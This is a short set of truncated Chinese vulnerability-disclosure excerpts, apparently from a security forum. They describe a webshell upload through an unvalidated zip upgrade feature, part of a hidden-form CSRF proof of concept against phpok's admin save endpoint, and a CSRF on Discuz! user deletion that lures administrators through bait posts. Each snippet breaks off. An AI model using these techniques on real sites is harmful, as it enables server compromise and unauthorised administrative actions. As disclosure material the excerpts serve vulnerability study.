版本：4.2.100 前台能上传zip文件，而且对升级文件没进行校验。 上传zip演示： 先把我们的木马文件test.php添加到压缩包内test.zip 注册一个帐号-修改资料. 选择一个正常图片，截获数据 然后修改数据。 成功...

老问题,一直没修复。 poc: code 区域 <div style="display:none"> <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post"> &...

后台删除用户页面只是单纯做了submitcheck(‘submit’, 1)，按之前的说明，程序这里没有判断formhash，也就是说可以用于CSRF 不过利用这个漏洞前提是要管理员登陆了后台，不过这个不会很麻烦吧（比如故意加点关键字进审核然后让管理员触发神马的，实在不行还能发帖钓鱼） 发帖插入 Discuz! 代码： 本帖...